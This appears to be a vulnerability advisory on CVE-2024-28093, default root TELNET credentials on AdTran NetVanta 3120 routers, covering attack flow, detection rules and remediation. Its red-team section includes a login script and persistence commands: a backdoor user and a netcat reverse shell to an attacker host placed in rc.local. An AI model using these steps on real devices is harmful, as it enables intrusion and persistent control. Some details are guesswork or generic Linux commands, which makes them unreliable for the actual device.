CVE-2024-28093

Executive Summary

CVE-2024-28093 exposes a critical security flaw in AdTran NetVanta 3120 devices running firmware version 18.01.01.00.E. The TELNET service is enabled by default with hardcoded root-level credentials, allowing any unauthenticated attacker with network access to gain full administrative control over the device. This vulnerability is trivial to exploit and poses a severe risk to network infrastructure, enabling complete compromise, lateral movement, and persistent access. No patch is currently available, and the vendor has not issued a security advisory.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded networking device.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 9.8 (Critical)

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
• Confidentiality (C): High (H) – Full device access exposes all data.
• Integrity (I): High (H) – Attacker can modify firmware and config.
• Availability (A): High (H) – Attacker can disrupt or disable the device.

Threat Level: Critical. The combination of default credentials, enabled TELNET, and root-level access makes this a high-priority target for botnets, ransomware groups, and nation-state actors.

Deep Dive & Mechanics

The vulnerability stems from two fundamental security failures:

1. Default Enabled TELNET Service: The TELNET daemon is active out-of-the-box, exposing an unencrypted management interface on TCP port 23.
2. Hardcoded Root Credentials: The device ships with a static username/password pair that grants root (superuser) privileges. These credentials are documented in the device manual or can be brute-forced due to their simplicity.

Attack Flow:

1. Discovery: An attacker scans for devices with open port 23 and a TELNET banner containing "AdTran" or "NetVanta".
2. Authentication: The attacker connects via TELNET and logs in using the default root credentials (e.g., admin/password or root/adtran).
3. Post-Exploitation: With root access, the attacker can:
   • Dump configuration files (including VPN keys, SNMP strings).
   • Install persistent backdoors (e.g., cron jobs, modified firmware).
   • Use the device as a pivot point for lateral movement.
   • Launch DDoS attacks from the compromised device.

Root Cause Analysis: The vendor prioritized ease of deployment over security, failing to enforce credential changes during initial setup and leaving a management protocol (TELNET) enabled by default.

Vulnerable vs. Patched Code

Vulnerable Configuration (AdTran NetVanta 3120, firmware 18.01.01.00.E):

• TELNET service enabled by default.
• Hardcoded root credentials in /etc/passwd or similar.
• No mechanism to force password change on first login.

Patched Configuration (Hypothetical):

• TELNET disabled by default; SSH enforced.
• No default credentials; first-time setup wizard requires setting a strong password.
• Credentials stored hashed (e.g., SHA-512) with salt.

Since no official patch exists, the "patched" state is theoretical. The vendor must release a firmware update that:

• Disables TELNET.
• Removes hardcoded credentials.
• Implements a secure initial setup process.

Exploitation & Lab Setup

Red Team

Prerequisites:

• AdTran NetVanta 3120 with firmware 18.01.01.00.E.
• Network connectivity to the device (port 23 open).
• Default credentials (e.g., admin/password).

Exploitation Steps:

1. Scan for vulnerable devices:

   nmap -p 23 --script telnet-ntlm-info <target_ip>
   

2. Connect via TELNET:

   telnet <target_ip>
   

3. Authenticate with default credentials:

   Username: admin
   Password: password
   

4. Escalate to root (if not already root):

   sudo su -
   

5. Maintain persistence:

   # Add a backdoor user
   useradd -m -s /bin/bash attacker
   echo 'attacker:password123' | chpasswd
   # Or modify startup scripts
   echo "nc -e /bin/sh <attacker_ip> 4444 &" >> /etc/rc.local
   

Automated Exploit (Python):

import telnetlib

def exploit(target, username, password):
    tn = telnetlib.Telnet(target)
    tn.read_until(b"login: ")
    tn.write(username.encode('ascii') + b"\n")
    tn.read_until(b"Password: ")
    tn.write(password.encode('ascii') + b"\n")
    tn.write(b"id\n")
    tn.write(b"exit\n")
    print(tn.read_all().decode('ascii'))

exploit("192.168.1.1", "admin", "password")

Blue Team

Detection & Hardening:

1. Disable TELNET immediately:

   systemctl stop telnetd
   systemctl disable telnetd
   

2. Change default credentials:

   passwd admin
   

3. Enable SSH and disable TELNET:

   systemctl enable sshd
   systemctl start sshd
   

4. Restrict management access via ACL:

   iptables -A INPUT -p tcp --dport 23 -j DROP
   iptables -A INPUT -p tcp --dport 22 -s <trusted_ip> -j ACCEPT
   

5. Monitor for TELNET connections:

   tcpdump -i eth0 port 23
   

Indicators of Compromise (IOCs)

Network IOCs:

• TELNET connections to/from the device on port 23.
• Unusual outbound connections from the device (e.g., to known C2 servers).
• TELNET banner containing "AdTran NetVanta 3120".

Host IOCs:

• Presence of unexpected user accounts (e.g., attacker, backdoor).
• Modified startup scripts (/etc/rc.local, /etc/init.d/).
• Unusual processes (e.g., nc, ncat, socat).
• Changes to /etc/passwd or /etc/shadow.

File IOCs:

• /tmp/.backdoor.sh
• /usr/sbin/.telnetd (malicious binary)

Detection Engineering

YARA Rule

rule CVE_2024_28093_AdTran_Default_Creds {
    meta:
        description = "Detects default credentials in AdTran NetVanta 3120 firmware"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28093"
    strings:
        $cred1 = "admin:password" ascii wide
        $cred2 = "root:adtran" ascii wide
        $telnet = "telnetd" ascii wide
    condition:
        any of ($cred*) and $telnet
}

Sigma Rule

title: AdTran NetVanta 3120 Default TELNET Credentials
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects TELNET login attempts using default credentials on AdTran devices
author: Valters IT
date: 2024-01-01
logsource:
    category: authentication
    product: linux
detection:
    selection:
        EventID: 1
        ProcessName: 'telnetd'
        CommandLine|contains: 'admin'
    condition: selection
falsepositives:
    - Legitimate administrative access
level: critical

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg:"CVE-2024-28093 AdTran Default TELNET Login Attempt"; flow:to_server,established; content:"admin"; nocase; content:"password"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable TELNET: Use the device CLI or web interface to stop and disable the TELNET service.
2. Change Default Credentials: Immediately change the password for all default accounts (e.g., admin, root).
3. Enable SSH: Switch to SSH for all remote management, using key-based authentication.
4. Network Segmentation: Place the device behind a firewall that restricts access to management interfaces.
5. Monitor Logs: Enable logging and monitor for unauthorized TELNET connections.

Long-Term Fix:

• Contact AdTran support for a firmware update that removes default credentials and disables TELNET by default.
• If no patch is available, consider replacing the device with a more secure alternative.

Workaround:

• Create an ACL to allow only trusted IPs to connect to port 23 (if TELNET cannot be disabled immediately).
• Use a VPN to access the management network.

Valters IT